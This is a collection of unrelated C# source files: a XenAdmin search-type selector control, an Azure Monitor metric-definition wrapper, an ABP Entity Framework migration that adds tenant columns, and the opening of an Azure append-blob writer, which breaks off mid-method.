*/
using System;
using System.Collections.Generic;
using System.Drawing;
using System.Windows.Forms;
using XenAdmin.XenSearch;
namespace XenAdmin.Controls.XenSearch
{
public partial class SearchFor : UserControl
{
public event Action QueryChanged;
private const ObjectTypes CUSTOM = ObjectTypes.None; // We use None as a special signal value for "Custom..."
private readonly Dictionary<ObjectTypes, String> typeNames = new Dictionary<ObjectTypes, String>();
private readonly Dictionary<ObjectTypes, Image> typeImages = new Dictionary<ObjectTypes, Image>();
private ObjectTypes customValue;
private ObjectTypes savedTypes;
private bool autoSelecting = false;
public SearchFor()
{
InitializeComponent();
InitializeDictionaries();
PopulateSearchForComboButton();
}
public void BlankSearch()
{
QueryScope = new QueryScope(ObjectTypes.None);
OnQueryChanged();
}
private void OnQueryChanged()
{
if (QueryChanged != null)
QueryChanged();
}
private void InitializeDictionaries()
{
// add all single types, names and images
Dictionary<String, ObjectTypes> dict = (Dictionary<String, ObjectTypes>)PropertyAccessors.Geti18nFor(PropertyNames.type);
var images = (Func<ObjectTypes, Icons>)PropertyAccessors.GetImagesFor(PropertyNames.type);
foreach (KeyValuePair<String, ObjectTypes> kvp in dict)
{
typeNames[kvp.Value] = kvp.Key;
typeImages[kvp.Value] = Images.GetImage16For(images(kvp.Value));
}
// add all combo types, mostly names only
typeNames[ObjectTypes.LocalSR | ObjectTypes.RemoteSR] = Messages.ALL_SRS;
typeImages[ObjectTypes.LocalSR | ObjectTypes.RemoteSR] = Images.GetImage16For(images(ObjectTypes.LocalSR | ObjectTypes.RemoteSR));
typeNames[ObjectTypes.Server | ObjectTypes.DisconnectedServer | ObjectTypes.VM] = Messages.SERVERS_AND_VMS;
typeNames[ObjectTypes.Server | ObjectTypes.DisconnectedServer | ObjectTypes.VM | ObjectTypes.UserTemplate | ObjectTypes.RemoteSR] = Messages.SERVERS_AND_VMS_AND_CUSTOM_TEMPLATES_AND_REMOTE_SRS;
typeNames[ObjectTypes.Server | ObjectTypes.DisconnectedServer | ObjectTypes.VM | ObjectTypes.UserTemplate | ObjectTypes.RemoteSR | ObjectTypes.LocalSR] = Messages.SERVERS_AND_VMS_AND_CUSTOM_TEMPLATES_AND_ALL_SRS;
typeNames[ObjectTypes.AllExcFolders] = Messages.ALL_TYPES;
typeNames[ObjectTypes.AllIncFolders] = Messages.ALL_TYPES_AND_FOLDERS;
}
private void AddItemToSearchFor(ObjectTypes type)
{
ToolStripMenuItem item = new ToolStripMenuItem();
item.Text = typeNames[type];
item.Tag = type;
if (typeImages.ContainsKey(type))
item.Image = typeImages[type];
searchForComboButton.AddItem(item);
}
private void AddCustom()
{
ToolStripMenuItem item = new ToolStripMenuItem();
item.Text = Messages.CUSTOM;
item.Tag = CUSTOM;
searchForComboButton.AddItem(item);
}
private void AddSeparator()
{
searchForComboButton.AddItem(new ToolStripSeparator());
}
// The order here is not the same as the order in the Organization View,
// which is determined by the ObjectTypes enum (CA-28418).
private void PopulateSearchForComboButton()
{
AddItemToSearchFor(ObjectTypes.Pool);
AddItemToSearchFor(ObjectTypes.Server);
AddItemToSearchFor(ObjectTypes.DisconnectedServer);
AddItemToSearchFor(ObjectTypes.VM);
AddItemToSearchFor(ObjectTypes.Snapshot);
AddItemToSearchFor(ObjectTypes.UserTemplate);
AddItemToSearchFor(ObjectTypes.DefaultTemplate);
AddItemToSearchFor(ObjectTypes.RemoteSR);
AddItemToSearchFor(ObjectTypes.RemoteSR | ObjectTypes.LocalSR); // local SR on its own is pretty much useless
AddItemToSearchFor(ObjectTypes.VDI);
AddItemToSearchFor(ObjectTypes.Network);
AddItemToSearchFor(ObjectTypes.Folder);
//AddItemToSearchFor(ObjectTypes.DockerContainer);
AddSeparator();
AddItemToSearchFor(ObjectTypes.Server | ObjectTypes.DisconnectedServer | ObjectTypes.VM);
AddItemToSearchFor(ObjectTypes.Server | ObjectTypes.DisconnectedServer | ObjectTypes.VM | ObjectTypes.UserTemplate | ObjectTypes.RemoteSR);
AddItemToSearchFor(ObjectTypes.Server | ObjectTypes.DisconnectedServer | ObjectTypes.VM | ObjectTypes.UserTemplate | ObjectTypes.RemoteSR | ObjectTypes.LocalSR);
AddSeparator();
AddItemToSearchFor(ObjectTypes.AllExcFolders);
AddItemToSearchFor(ObjectTypes.AllIncFolders);
AddSeparator();
AddCustom();
}
void searchForComboButton_BeforePopup(object sender, System.EventArgs e)
{
savedTypes = GetSelectedItemTag();
}
private void searchForComboButton_itemSelected(object sender, System.EventArgs e)
{
ObjectTypes types = GetSelectedItemTag();
if (types != CUSTOM)
return;
if (!autoSelecting)
{
// Launch custom dlg. Dependent on OK/Cancel, save result and continue, or quit
SearchForCustom sfc = new SearchForCustom(typeNames, customValue);
sfc.ShowDialog(Program.MainWindow);
if (sfc.DialogResult == DialogResult.Cancel)
{
autoSelecting = true;
SetFromScope(savedTypes); // reset combo button to value before Custom...
autoSelecting = false;
return;
}
customValue = sfc.Selected;
}
OnQueryChanged();
}
private void searchForComboButton_selChanged(object sender, EventArgs e)
{
ObjectTypes types = GetSelectedItemTag();
if (types == CUSTOM)
return; // CUSTOM is dealt with in searchForComboButton_itemSelected instead
OnQueryChanged();
}
public QueryScope QueryScope
{
get
{
return GetAsScope();
}
set
{
autoSelecting = true;
customValue = value.ObjectTypes;
SetFromScope(value);
autoSelecting = false;
}
}
private ObjectTypes GetSelectedItemTag()
{
return (searchForComboButton.SelectedItem == null ? ObjectTypes.None :
(ObjectTypes)searchForComboButton.SelectedItem.Tag);
}
private QueryScope GetAsScope()
{
ObjectTypes types = GetSelectedItemTag();
if (types == CUSTOM) // if we're on Custom..., look it up from the custom setting
return new QueryScope(customValue);
else // else just report what we're showing
return new QueryScope(types);
}
private void SetFromScope(QueryScope value)
{
// Can we represent it by one of the fixed types?
bool bDone = searchForComboButton.SelectItem<ObjectTypes>(
delegate(ObjectTypes types)
{
return (types == value.ObjectTypes);
}
);
// If not, set it to "Custom..."
if (!bDone)
bDone = searchForComboButton.SelectItem<ObjectTypes>(
delegate(ObjectTypes types)
{
return (types == CUSTOM);
}
);
}
private void SetFromScope(ObjectTypes types)
{
SetFromScope(new QueryScope(types));
}
}
}
| |
// Copyright (c) Microsoft Corporation. All rights reserved.
// Licensed under the MIT License. See License.txt in the project root for license information.
namespace Microsoft.Azure.Management.Monitor.Fluent.Models
{
using Microsoft.Azure.Management.Monitor.Fluent;
using Microsoft.Azure.Management.ResourceManager.Fluent.Core;
using Microsoft.Rest.Azure.OData;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading;
using System.Threading.Tasks;
/// <summary>
/// The Azure metric definition entries are of type MetricDefinition.
/// </summary>
///GENTHASH:Y29tLm1pY3Jvc29mdC5henVyZS5tYW5hZ2VtZW50Lm1vbml0b3IuaW1wbGVtZW50YXRpb24uTWV0cmljRGVmaW5pdGlvbkltcGw=
internal partial class MetricDefinitionImpl :
Wrapper<Models.MetricDefinition>,
IMetricDefinition,
IMetricsQueryDefinition
{
private string aggreagation;
private IList<ILocalizableString> dimensions;
private MetricDefinition inner;
private TimeSpan? interval;
private MonitorManager myManager;
private ILocalizableString name;
private string namespaceFilter;
private string odataFilter;
private string orderBy;
private DateTime queryEndTime;
private DateTime queryStartTime;
private ResultType? resultType;
private int? top;
///GENMHASH:F886A4914B553C095A7AE17389D27E77:E5D5B4A8C36CFED5664896A53A66058D
internal MetricDefinitionImpl(MetricDefinition innerModel, MonitorManager monitorManager)
: base(innerModel)
{
this.myManager = monitorManager;
this.inner = innerModel;
this.name = (inner.Name == null) ? null : new LocalizableStringImpl(inner.Name);
this.dimensions = null;
if (this.inner.Dimensions != null && this.inner.Dimensions.Any())
{
this.dimensions = new List<ILocalizableString>();
foreach (var lsi in inner.Dimensions)
{
this.dimensions.Add(new LocalizableStringImpl(lsi));
}
}
}
///GENMHASH:914F5848297276F1D8C78263F5BE935D:7B90F5AD1D9A5637A3B8A78F84705439
public MetricDefinitionImpl DefineQuery()
{
this.aggreagation = null;
this.interval = null;
this.resultType = null;
this.top = null;
this.orderBy = null;
this.namespaceFilter = null;
return this;
}
///GENMHASH:BDA8645F7DCB22FCB0D576272D4D7A80:017FF1F6757C99B9733D9C62F1D9AF2D
public IReadOnlyList<Microsoft.Azure.Management.Monitor.Fluent.Models.ILocalizableString> Dimensions()
{
return this.dimensions.ToList();
}
///GENMHASH:8E798D06F036643A781434270F4F347E:6ED95D1C0D7030224A0A5556D72F0018
public MetricDefinitionImpl EndsBefore(DateTime endTime)
{
this.queryEndTime = endTime;
return this;
}
///GENMHASH:6E40675090A7C5A5E2DC401C96A422D5:887E87D6089467ED74835057139438F0
public IMetricCollection Execute()
{
return Extensions.Synchronize(() => this.ExecuteAsync());
}
///GENMHASH:28267C95BE469468FC3C62D4CF4CCA7C:045C4FC5EA3255F75C64B330997E5F44
public async Task<IMetricCollection> ExecuteAsync(CancellationToken cancellationToken = default(CancellationToken))
{
return new MetricCollectionImpl(await this.Manager().Inner.Metrics.ListAsync(
resourceUri: this.inner.ResourceId,
odataQuery: new ODataQuery<MetadataValueInner>(this.odataFilter),
timespan: string.Format("{0}/{1}",
this.queryStartTime.ToString("o"),
this.queryEndTime.ToString("o")),
interval: this.interval,
metricnames: this.inner.Name?.Value,
aggregation: this.aggreagation,
top: this.top,
orderby: this.orderBy,
resultType: this.resultType,
metricnamespace: this.namespaceFilter,
cancellationToken: cancellationToken));
}
///GENMHASH:30DFB33704A983BFEBC6F8D37F219647:18AE7F3EA61B4C339E19BC91FFA86A38
public IWithMetricsQueryExecute FilterByNamespace(string namespaceName)
{
this.namespaceFilter = namespaceName;
return this;
}
///GENMHASH:ACA2D5620579D8158A29586CA1FF4BC6:9FCCB4B796E8FFF1419FB39498ED40F5
public string Id()
{
return this.inner.Id;
}
///GENMHASH:C1A1BE876564B0211A1A2DC6C58B0477:F0B36815DE1ED319304FC2333FD873AC
public bool IsDimensionRequired()
{
return (this.inner.IsDimensionRequired.HasValue) ? this.inner.IsDimensionRequired.Value : false;
}
///GENMHASH:B6961E0C7CB3A9659DE0E1489F44A936:363E4D62FCA795A36F9CB60513C86AFA
public MonitorManager Manager()
{
return this.myManager;
}
///GENMHASH:532A125F6308BA5B895A3303D68F428F:35FD1AE22645CD7DE5424859B658C564
public IReadOnlyList<Microsoft.Azure.Management.Monitor.Fluent.Models.MetricAvailability> MetricAvailabilities()
{
return this.inner.MetricAvailabilities.ToList();
}
///GENMHASH:3E38805ED0E7BA3CAEE31311D032A21C:06048B7DED44D8A0B076B777AD66C830
public ILocalizableString Name()
{
return this.name;
}
///GENMHASH:E65A2E847594C17DA590ED0613F7AD5B:B016D388D3CF01FC282B9E79BBBDC7C3
public string Namespace()
{
return this.inner.NamespaceProperty;
}
///GENMHASH:F630198BE6DA9C0B5B56EF7592ABEBD6:70CA6DA265907F8297D881094E4FA057
public MetricDefinitionImpl OrderBy(string orderBy)
{
this.orderBy = orderBy;
return this;
}
///GENMHASH:109D11A77FA743E7E386E405BD1BAAAF:ADA232E274A9B225A8972BEF1F18FEB5
public AggregationType PrimaryAggregationType()
{
return (this.Inner.PrimaryAggregationType.HasValue) ? this.Inner.PrimaryAggregationType.Value : AggregationType.None;
}
///GENMHASH:FE2BD4F5F53442BA2A87A646EE3AE424:3853D164417C81C32FF41FDBF3091A69
public string ResourceId()
{
return this.inner.ResourceId;
}
///GENMHASH:1BEF988E815365B083848B8359E54AFC:910A51D04DA74674472E2E6CDF8345AE
public MetricDefinitionImpl SelectTop(int top)
{
this.top = top;
return this;
}
///GENMHASH:466C9D6BF16AFC7E5643C50D8BF6E937:38A64203651F9C55FF10205837F6BF41
public MetricDefinitionImpl StartingFrom(DateTime startTime)
{
this.queryStartTime = startTime;
return this;
}
///GENMHASH:E0983881135F027BB74EC28515C90CA1:2123F05B11675C7D104EA650A4F5B8FE
public IReadOnlyList<Microsoft.Azure.Management.Monitor.Fluent.Models.AggregationType> SupportedAggregationTypes()
{
return this.inner.SupportedAggregationTypes?.Where(at => at != null).Select(at => at.Value).ToList();
}
///GENMHASH:98D67B93923AC46ECFE338C62748BCCB:75D0179020FBF5E8CFE92E1F66EDBAF7
public Unit Unit()
{
return (this.inner.Unit.HasValue) ? this.inner.Unit.Value : Models.Unit.Unspecified;
}
///GENMHASH:75D81809C4B6D3B6D4093D0120B8C6E2:147385CD62A0A87E80618B5C7EAD3723
public MetricDefinitionImpl WithAggregation(string aggregation)
{
this.aggreagation = aggregation;
return this;
}
///GENMHASH:8C7AFB2687E015E5BA88FC209626353F:BADFBF4A4B9A078A0E61C032E86F3F54
public MetricDefinitionImpl WithInterval(TimeSpan interval)
{
this.interval = interval;
return this;
}
///GENMHASH:A6A688C16DF4F6EC07E3F90BB7035E9B:2D82016634720F57D754570B0ADB36FA
public MetricDefinitionImpl WithOdataFilter(string odataFilter)
{
this.odataFilter = odataFilter;
return this;
}
///GENMHASH:F95F49048D7CA429F65F73921425F878:B874986DD69C44A52E663CD4459B7D0E
public MetricDefinitionImpl WithResultType(ResultType resultType)
{
this.resultType = resultType;
return this;
}
}
}
| |
namespace Abp.NServiceBus.Migrations
{
using System;
using System.Collections.Generic;
using System.Data.Entity.Infrastructure.Annotations;
using System.Data.Entity.Migrations;
public partial class Upgraded_To_V0_9 : DbMigration
{
public override void Up()
{
DropForeignKey("dbo.AbpSettings", "TenantId", "dbo.AbpTenants");
DropForeignKey("dbo.AbpUsers", "TenantId", "dbo.AbpTenants");
DropForeignKey("dbo.AbpRoles", "TenantId", "dbo.AbpTenants");
DropIndex("dbo.AbpUserLoginAttempts", new[] { "TenancyName", "UserNameOrEmailAddress", "Result" });
CreateTable(
"dbo.AbpTenantNotifications",
c => new
{
Id = c.Guid(nullable: false),
TenantId = c.Int(),
NotificationName = c.String(nullable: false, maxLength: 96),
Data = c.String(),
DataTypeName = c.String(maxLength: 512),
EntityTypeName = c.String(maxLength: 250),
EntityTypeAssemblyQualifiedName = c.String(maxLength: 512),
EntityId = c.String(maxLength: 96),
Severity = c.Byte(nullable: false),
CreationTime = c.DateTime(nullable: false),
CreatorUserId = c.Long(),
},
annotations: new Dictionary<string, object>
{
{ "DynamicFilter_TenantNotificationInfo_MayHaveTenant", "EntityFramework.DynamicFilters.DynamicFilterDefinition" },
})
.PrimaryKey(t => t.Id);
AlterTableAnnotations(
"dbo.AbpFeatures",
c => new
{
Id = c.Long(nullable: false, identity: true),
Name = c.String(nullable: false, maxLength: 128),
Value = c.String(nullable: false, maxLength: 2000),
CreationTime = c.DateTime(nullable: false),
CreatorUserId = c.Long(),
EditionId = c.Int(),
TenantId = c.Int(),
Discriminator = c.String(nullable: false, maxLength: 128),
},
annotations: new Dictionary<string, AnnotationValues>
{
{
"DynamicFilter_TenantFeatureSetting_MustHaveTenant",
new AnnotationValues(oldValue: null, newValue: "EntityFramework.DynamicFilters.DynamicFilterDefinition")
},
});
AlterTableAnnotations(
"dbo.AbpNotificationSubscriptions",
c => new
{
Id = c.Guid(nullable: false),
TenantId = c.Int(),
UserId = c.Long(nullable: false),
NotificationName = c.String(maxLength: 96),
EntityTypeName = c.String(maxLength: 250),
EntityTypeAssemblyQualifiedName = c.String(maxLength: 512),
EntityId = c.String(maxLength: 96),
CreationTime = c.DateTime(nullable: false),
CreatorUserId = c.Long(),
},
annotations: new Dictionary<string, AnnotationValues>
{
{
"DynamicFilter_NotificationSubscriptionInfo_MayHaveTenant",
new AnnotationValues(oldValue: null, newValue: "EntityFramework.DynamicFilters.DynamicFilterDefinition")
},
});
AlterTableAnnotations(
"dbo.AbpPermissions",
c => new
{
Id = c.Long(nullable: false, identity: true),
TenantId = c.Int(),
Name = c.String(nullable: false, maxLength: 128),
IsGranted = c.Boolean(nullable: false),
CreationTime = c.DateTime(nullable: false),
CreatorUserId = c.Long(),
RoleId = c.Int(),
UserId = c.Long(),
Discriminator = c.String(nullable: false, maxLength: 128),
},
annotations: new Dictionary<string, AnnotationValues>
{
{
"DynamicFilter_PermissionSetting_MayHaveTenant",
new AnnotationValues(oldValue: null, newValue: "EntityFramework.DynamicFilters.DynamicFilterDefinition")
},
{
"DynamicFilter_RolePermissionSetting_MayHaveTenant",
new AnnotationValues(oldValue: null, newValue: "EntityFramework.DynamicFilters.DynamicFilterDefinition")
},
{
"DynamicFilter_UserPermissionSetting_MayHaveTenant",
new AnnotationValues(oldValue: null, newValue: "EntityFramework.DynamicFilters.DynamicFilterDefinition")
},
});
AlterTableAnnotations(
"dbo.AbpUserLogins",
c => new
{
Id = c.Long(nullable: false, identity: true),
TenantId = c.Int(),
UserId = c.Long(nullable: false),
LoginProvider = c.String(nullable: false, maxLength: 128),
ProviderKey = c.String(nullable: false, maxLength: 256),
},
annotations: new Dictionary<string, AnnotationValues>
{
{
"DynamicFilter_UserLogin_MayHaveTenant",
new AnnotationValues(oldValue: null, newValue: "EntityFramework.DynamicFilters.DynamicFilterDefinition")
},
});
AlterTableAnnotations(
"dbo.AbpUserRoles",
c => new
{
Id = c.Long(nullable: false, identity: true),
TenantId = c.Int(),
UserId = c.Long(nullable: false),
RoleId = c.Int(nullable: false),
CreationTime = c.DateTime(nullable: false),
CreatorUserId = c.Long(),
},
annotations: new Dictionary<string, AnnotationValues>
{
{
"DynamicFilter_UserRole_MayHaveTenant",
new AnnotationValues(oldValue: null, newValue: "EntityFramework.DynamicFilters.DynamicFilterDefinition")
},
});
AlterTableAnnotations(
"dbo.AbpSettings",
c => new
{
Id = c.Long(nullable: false, identity: true),
TenantId = c.Int(),
UserId = c.Long(),
Name = c.String(nullable: false, maxLength: 256),
Value = c.String(maxLength: 2000),
LastModificationTime = c.DateTime(),
LastModifierUserId = c.Long(),
CreationTime = c.DateTime(nullable: false),
CreatorUserId = c.Long(),
},
annotations: new Dictionary<string, AnnotationValues>
{
{
"DynamicFilter_Setting_MayHaveTenant",
new AnnotationValues(oldValue: null, newValue: "EntityFramework.DynamicFilters.DynamicFilterDefinition")
},
});
AlterTableAnnotations(
"dbo.AbpUserLoginAttempts",
c => new
{
Id = c.Long(nullable: false, identity: true),
TenantId = c.Int(),
TenancyName = c.String(maxLength: 64),
UserId = c.Long(),
UserNameOrEmailAddress = c.String(maxLength: 255),
ClientIpAddress = c.String(maxLength: 64),
ClientName = c.String(maxLength: 128),
BrowserInfo = c.String(maxLength: 256),
Result = c.Byte(nullable: false),
CreationTime = c.DateTime(nullable: false),
},
annotations: new Dictionary<string, AnnotationValues>
{
{
"DynamicFilter_UserLoginAttempt_MayHaveTenant",
new AnnotationValues(oldValue: null, newValue: "EntityFramework.DynamicFilters.DynamicFilterDefinition")
},
});
AlterTableAnnotations(
"dbo.AbpUserNotifications",
c => new
{
Id = c.Guid(nullable: false),
TenantId = c.Int(),
UserId = c.Long(nullable: false),
NotificationId = c.Guid(nullable: false),
State = c.Int(nullable: false),
CreationTime = c.DateTime(nullable: false),
},
annotations: new Dictionary<string, AnnotationValues>
{
{
"DynamicFilter_UserNotificationInfo_MayHaveTenant",
new AnnotationValues(oldValue: null, newValue: "EntityFramework.DynamicFilters.DynamicFilterDefinition")
},
});
AddColumn("dbo.AbpPermissions", "TenantId", c => c.Int());
AddColumn("dbo.AbpUserLogins", "TenantId", c => c.Int());
AddColumn("dbo.AbpUserRoles", "TenantId", c => c.Int());
AddColumn("dbo.AbpUserNotifications", "TenantId", c => c.Int());
AlterColumn("dbo.AbpUserLoginAttempts", "UserNameOrEmailAddress", c => c.String(maxLength: 255));
CreateIndex("dbo.AbpUserLoginAttempts", new[] { "UserId", "TenantId" });
CreateIndex("dbo.AbpUserLoginAttempts", new[] { "TenancyName", "UserNameOrEmailAddress", "Result" });
//Update current AbpUserRoles.TenantId values
Sql(@"UPDATE AbpUserRoles
SET TenantId = AbpUsers.TenantId
FROM AbpUsers
WHERE AbpUserRoles.UserId = AbpUsers.Id");
//Update current AbpUserLogins.TenantId values
Sql(@"UPDATE AbpUserLogins
SET TenantId = AbpUsers.TenantId
FROM AbpUsers
WHERE AbpUserLogins.UserId = AbpUsers.Id");
//Update current AbpPermissions.TenantId values
Sql(@"UPDATE AbpPermissions
SET TenantId = AbpUsers.TenantId
FROM AbpUsers
WHERE AbpPermissions.UserId = AbpUsers.Id");
Sql(@"UPDATE AbpPermissions
SET TenantId = AbpRoles.TenantId
FROM AbpRoles
WHERE AbpPermissions.RoleId = AbpRoles.Id");
//Update current AbpUserNotifications.TenantId values
Sql(@"UPDATE AbpUserNotifications
SET TenantId = AbpUsers.TenantId
FROM AbpUsers
WHERE AbpUserNotifications.UserId = AbpUsers.Id");
//Update current AbpSettings.TenantId values
Sql(@"UPDATE AbpSettings
SET TenantId = AbpUsers.TenantId
FROM AbpUsers
WHERE AbpSettings.UserId = AbpUsers.Id");
}
public override void Down()
{
DropIndex("dbo.AbpUserLoginAttempts", new[] { "TenancyName", "UserNameOrEmailAddress", "Result" });
DropIndex("dbo.AbpUserLoginAttempts", new[] { "UserId", "TenantId" });
AlterColumn("dbo.AbpUserLoginAttempts", "UserNameOrEmailAddress", c => c.String(maxLength: 256));
DropColumn("dbo.AbpUserNotifications", "TenantId");
DropColumn("dbo.AbpUserRoles", "TenantId");
DropColumn("dbo.AbpUserLogins", "TenantId");
DropColumn("dbo.AbpPermissions", "TenantId");
AlterTableAnnotations(
"dbo.AbpUserNotifications",
c => new
{
Id = c.Guid(nullable: false),
TenantId = c.Int(),
UserId = c.Long(nullable: false),
NotificationId = c.Guid(nullable: false),
State = c.Int(nullable: false),
CreationTime = c.DateTime(nullable: false),
},
annotations: new Dictionary<string, AnnotationValues>
{
{
"DynamicFilter_UserNotificationInfo_MayHaveTenant",
new AnnotationValues(oldValue: "EntityFramework.DynamicFilters.DynamicFilterDefinition", newValue: null)
},
});
AlterTableAnnotations(
"dbo.AbpUserLoginAttempts",
c => new
{
Id = c.Long(nullable: false, identity: true),
TenantId = c.Int(),
TenancyName = c.String(maxLength: 64),
UserId = c.Long(),
UserNameOrEmailAddress = c.String(maxLength: 255),
ClientIpAddress = c.String(maxLength: 64),
ClientName = c.String(maxLength: 128),
BrowserInfo = c.String(maxLength: 256),
Result = c.Byte(nullable: false),
CreationTime = c.DateTime(nullable: false),
},
annotations: new Dictionary<string, AnnotationValues>
{
{
"DynamicFilter_UserLoginAttempt_MayHaveTenant",
new AnnotationValues(oldValue: "EntityFramework.DynamicFilters.DynamicFilterDefinition", newValue: null)
},
});
AlterTableAnnotations(
"dbo.AbpSettings",
c => new
{
Id = c.Long(nullable: false, identity: true),
TenantId = c.Int(),
UserId = c.Long(),
Name = c.String(nullable: false, maxLength: 256),
Value = c.String(maxLength: 2000),
LastModificationTime = c.DateTime(),
LastModifierUserId = c.Long(),
CreationTime = c.DateTime(nullable: false),
CreatorUserId = c.Long(),
},
annotations: new Dictionary<string, AnnotationValues>
{
{
"DynamicFilter_Setting_MayHaveTenant",
new AnnotationValues(oldValue: "EntityFramework.DynamicFilters.DynamicFilterDefinition", newValue: null)
},
});
AlterTableAnnotations(
"dbo.AbpUserRoles",
c => new
{
Id = c.Long(nullable: false, identity: true),
TenantId = c.Int(),
UserId = c.Long(nullable: false),
RoleId = c.Int(nullable: false),
CreationTime = c.DateTime(nullable: false),
CreatorUserId = c.Long(),
},
annotations: new Dictionary<string, AnnotationValues>
{
{
"DynamicFilter_UserRole_MayHaveTenant",
new AnnotationValues(oldValue: "EntityFramework.DynamicFilters.DynamicFilterDefinition", newValue: null)
},
});
AlterTableAnnotations(
"dbo.AbpUserLogins",
c => new
{
Id = c.Long(nullable: false, identity: true),
TenantId = c.Int(),
UserId = c.Long(nullable: false),
LoginProvider = c.String(nullable: false, maxLength: 128),
ProviderKey = c.String(nullable: false, maxLength: 256),
},
annotations: new Dictionary<string, AnnotationValues>
{
{
"DynamicFilter_UserLogin_MayHaveTenant",
new AnnotationValues(oldValue: "EntityFramework.DynamicFilters.DynamicFilterDefinition", newValue: null)
},
});
AlterTableAnnotations(
"dbo.AbpPermissions",
c => new
{
Id = c.Long(nullable: false, identity: true),
TenantId = c.Int(),
Name = c.String(nullable: false, maxLength: 128),
IsGranted = c.Boolean(nullable: false),
CreationTime = c.DateTime(nullable: false),
CreatorUserId = c.Long(),
RoleId = c.Int(),
UserId = c.Long(),
Discriminator = c.String(nullable: false, maxLength: 128),
},
annotations: new Dictionary<string, AnnotationValues>
{
{
"DynamicFilter_PermissionSetting_MayHaveTenant",
new AnnotationValues(oldValue: "EntityFramework.DynamicFilters.DynamicFilterDefinition", newValue: null)
},
{
"DynamicFilter_RolePermissionSetting_MayHaveTenant",
new AnnotationValues(oldValue: "EntityFramework.DynamicFilters.DynamicFilterDefinition", newValue: null)
},
{
"DynamicFilter_UserPermissionSetting_MayHaveTenant",
new AnnotationValues(oldValue: "EntityFramework.DynamicFilters.DynamicFilterDefinition", newValue: null)
},
});
AlterTableAnnotations(
"dbo.AbpNotificationSubscriptions",
c => new
{
Id = c.Guid(nullable: false),
TenantId = c.Int(),
UserId = c.Long(nullable: false),
NotificationName = c.String(maxLength: 96),
EntityTypeName = c.String(maxLength: 250),
EntityTypeAssemblyQualifiedName = c.String(maxLength: 512),
EntityId = c.String(maxLength: 96),
CreationTime = c.DateTime(nullable: false),
CreatorUserId = c.Long(),
},
annotations: new Dictionary<string, AnnotationValues>
{
{
"DynamicFilter_NotificationSubscriptionInfo_MayHaveTenant",
new AnnotationValues(oldValue: "EntityFramework.DynamicFilters.DynamicFilterDefinition", newValue: null)
},
});
AlterTableAnnotations(
"dbo.AbpFeatures",
c => new
{
Id = c.Long(nullable: false, identity: true),
Name = c.String(nullable: false, maxLength: 128),
Value = c.String(nullable: false, maxLength: 2000),
CreationTime = c.DateTime(nullable: false),
CreatorUserId = c.Long(),
EditionId = c.Int(),
TenantId = c.Int(),
Discriminator = c.String(nullable: false, maxLength: 128),
},
annotations: new Dictionary<string, AnnotationValues>
{
{
"DynamicFilter_TenantFeatureSetting_MustHaveTenant",
new AnnotationValues(oldValue: "EntityFramework.DynamicFilters.DynamicFilterDefinition", newValue: null)
},
});
DropTable("dbo.AbpTenantNotifications",
removedAnnotations: new Dictionary<string, object>
{
{ "DynamicFilter_TenantNotificationInfo_MayHaveTenant", "EntityFramework.DynamicFilters.DynamicFilterDefinition" },
});
CreateIndex("dbo.AbpUserLoginAttempts", new[] { "TenancyName", "UserNameOrEmailAddress", "Result" });
AddForeignKey("dbo.AbpRoles", "TenantId", "dbo.AbpTenants", "Id");
AddForeignKey("dbo.AbpUsers", "TenantId", "dbo.AbpTenants", "Id");
AddForeignKey("dbo.AbpSettings", "TenantId", "dbo.AbpTenants", "Id");
}
}
}
| |
//------------------------------------------------------------------------------
// <copyright file="AppendBlobWriter.cs" company="Microsoft">
// Copyright (c) Microsoft Corporation
// </copyright>
//------------------------------------------------------------------------------
namespace Microsoft.WindowsAzure.Storage.DataMovement.TransferControllers
{
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Globalization;
using System.IO;
using System.Linq;
using System.Net;
using System.Threading;
using System.Threading.Tasks;
using Microsoft.WindowsAzure.Storage.Blob;
using Microsoft.WindowsAzure.Storage.Blob.Protocol;
internal sealed class AppendBlobWriter : TransferReaderWriterBase
{
private volatile State state;
private volatile bool hasWork;
private AzureBlobLocation destLocation;
private CloudAppendBlob appendBlob;
private long expectedOffset = 0;
/// <summary>
/// To indicate whether the destination already exist before this writing.
/// If no, when try to set destination's attribute, should get its attributes first.
/// </summary>
private bool destExist = false;
public AppendBlobWriter(
TransferScheduler scheduler,
SyncTransferController controller,
CancellationToken cancellationToken)
: base(scheduler, controller, cancellationToken)
{
this.destLocation = this.SharedTransferData.TransferJob.Destination as AzureBlobLocation;
this.appendBlob = this.destLocation.Blob as CloudAppendBlob;
Debug.Assert(null != this.appendBlob, "The destination is not an append blob while initializing a AppendBlobWriter instance.");
this.state = State.FetchAttributes;
this.hasWork = true;
}
public override bool HasWork
{
get
{
return this.hasWork &&
((State.FetchAttributes == this.state) ||
(State.Create == this.state) ||
(State.UploadBlob == this.state && this.SharedTransferData.AvailableData.ContainsKey(this.expectedOffset)) ||
(State.Commit == this.state && null != this.SharedTransferData.Attributes));
}
}
public override bool IsFinished
{
get
{
return State.Error == this.state || State.Finished == this.state;
}
}
private enum State
{
FetchAttributes,
Create,
UploadBlob,
Commit,
Error,
Finished
};
public override async Task DoWorkInternalAsync()
{
switch (this.state)
{
case State.FetchAttributes:
await this.FetchAttributesAsync();
break;
case State.Create:
await this.CreateAsync();
break;
case State.UploadBlob:
await this.UploadBlobAsync();
break;
case State.Commit:
await this.CommitAsync();
break;
case State.Error:
default:
break;
}
}
private async Task FetchAttributesAsync()
{
Debug.Assert(
this.state == State.FetchAttributes,
"FetchAttributesAsync called, but state isn't FetchAttributes",
"Current state is {0}",
this.state);
this.hasWork = false;
if (this.SharedTransferData.TotalLength > Constants.MaxBlockBlobFileSize)
{
string exceptionMessage = string.Format(
CultureInfo.CurrentCulture,
Resources.BlobFileSizeTooLargeException,
Utils.BytesToHumanReadableSize(this.SharedTransferData.TotalLength),
Resources.AppendBlob,
Utils.BytesToHumanReadableSize(Constants.MaxBlockBlobFileSize));
throw new TransferException(
TransferErrorCode.UploadSourceFileSizeTooLarge,
exceptionMessage);
}
bool existingBlob = true;
AccessCondition accessCondition = Utils.GenerateConditionWithCustomerCondition(
this.destLocation.AccessCondition,
this.destLocation.CheckedAccessCondition);
try
{
await this.appendBlob.FetchAttributesAsync(
accessCondition,
Utils.GenerateBlobRequestOptions(this.destLocation.BlobRequestOptions),
Utils.GenerateOperationContext(this.Controller.TransferContext),
this.CancellationToken);
this.destExist = true;
}
catch (StorageException se)
{
// Getting a storage exception is expected if the blob doesn't
// exist. In this case we won't error out, but set the
// existingBlob flag to false to indicate we're uploading
// a new blob instead of overwriting an existing blob.
